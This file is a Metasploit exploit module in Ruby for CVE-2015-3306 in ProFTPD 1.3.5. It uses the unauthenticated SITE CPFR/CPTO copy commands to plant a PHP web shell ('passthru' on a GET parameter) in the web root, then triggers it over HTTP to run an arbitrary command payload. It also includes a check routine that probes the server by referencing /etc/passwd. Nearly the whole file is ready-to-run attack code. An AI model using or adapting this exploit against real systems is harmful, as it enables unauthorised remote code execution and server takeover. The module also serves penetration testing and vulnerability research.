##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ProFTPD 1.3.5 Mod_Copy Command Execution',
      'Description'    => %q{
          This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
          Any unauthenticated client can leverage these commands to copy files from any
          part of the filesystem to a chosen destination. The copy commands are executed with
          the rights of the ProFTPD service, which by default runs under the privileges of the
          'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
          directory, PHP remote code execution is made possible.
      },
      'Author'         =>
        [
          'Vadim Melihow', # Original discovery, Proof of Concept
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-3306' ],
          [ 'EDB', '36742' ]
        ],
      'Privileged'     => false,
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'BadChars' => '',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic gawk python perl'
            }
        },
      'Targets'        =>
        [
          [ 'ProFTPD 1.3.5', { } ]
        ],
      'DisclosureDate' => 'Apr 22 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        OptPort.new('RPORT', [true, 'HTTP port', 80]),
        OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
        OptString.new('TARGETURI', [true, 'Base path to the website', '/']),
        OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']),
        OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www'])
      ])
  end

  def check
    ftp_port = datastore['RPORT_FTP']
    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    else
      print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
    end

    res = sock.get_once(-1, 10)
    unless res && res.include?('220')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end

    sock.puts("SITE CPFR /etc/passwd\r\n")
    res = sock.get_once(-1, 10)
    if res && res.include?('350')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    ftp_port = datastore['RPORT_FTP']
    get_arg = rand_text_alphanumeric(5+rand(3))
    payload_name = rand_text_alphanumeric(5+rand(3)) + '.php'

    sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    else
      print_status("#{rhost}:#{ftp_port} - Connected to FTP server")
    end

    res = sock.get_once(-1, 10)
    unless res && res.include?('220')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end

    print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")

    sock.puts("SITE CPFR /proc/self/cmdline\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('350')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline")
    end

    sock.put("SITE CPTO #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('250')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file")
    end

    sock.put("SITE CPFR #{datastore['TMPPATH']}/.<?php passthru($_GET[\'#{get_arg}\']);?>\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('350')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file")
    end

    sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n")
    res = sock.get_once(-1, 10)
    unless res && res.include?('250')
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?")
    end

    sock.close

    print_status("Executing PHP payload #{target_uri.path}#{payload_name}")
    res = send_request_cgi!(
      'uri' => normalize_uri(target_uri.path, payload_name),
      'method' => 'GET',
      'vars_get' => { get_arg => "nohup #{payload.encoded} &" }
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload")
    end
  end
end
